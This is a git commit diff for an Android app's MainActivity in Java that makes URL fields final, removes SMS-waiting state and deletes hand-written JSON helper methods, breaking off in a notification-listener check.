so much fixes

This commit is contained in:
Your Name 2025-03-11 20:53:41 +03:00
parent 98b6cd57e0
commit 066b61ca6c

View file

@ -50,9 +50,9 @@ import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
private String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
private String ussdUrl = "USSD_URL"; // VARIABLE STATIC
private String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC
private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
private int requestsCount = 0;
private WebView webView;
@ -63,8 +63,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private String currentHash = ""; // STATIC
private int currentPhone = 0;
private List<PhoneNumber> phones;
private boolean waitingForSms = false;
private String currentInfo = ""; // STATIC
private boolean receivingSms = false;
private double codeTimeout = 0.0;
private Timer timer;
@ -413,54 +411,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
}
}
private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder();
jsonBuilder.append("["); // STATIC
for (int i = 0; i < list.size(); i++) {
Object item = list.get(i);
jsonBuilder.append(objectToJson(item));
if (i < list.size() - 1) {
jsonBuilder.append(", "); // STATIC
}
}
jsonBuilder.append("]"); // STATIC
return jsonBuilder.toString();
}
private String objectToJson(Object obj) {
if (obj instanceof String) {
return (char)34 + escapeJson((String) obj) // STATIC
+ (char)34; // STATIC
} else if (obj instanceof Number || obj instanceof Boolean) {
return obj.toString();
} else {
return (char)34 + escapeJson(obj.toString()) // STATIC
+ (char)34; // STATIC
}
}
private String escapeJson(String raw) {
String escaped = raw;
escaped = escaped.replace("\\", // STATIC
"\\\\"); // STATIC
escaped = escaped.replace(("" + (char)34), // STATIC
"\\" + (char)34); // STATIC
escaped = escaped.replace("\b", // STATIC
"\\b"); // STATIC
escaped = escaped.replace("\f", // STATIC
"\\f"); // STATIC
escaped = escaped.replace("\n", // STATIC
"\\n"); // STATIC
escaped = escaped.replace("\r", // STATIC
"\\r"); // STATIC
escaped = escaped.replace("\t", // STATIC
"\\t"); // STATIC
return escaped;
}
private boolean isNotificationServiceEnabled() {
String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString(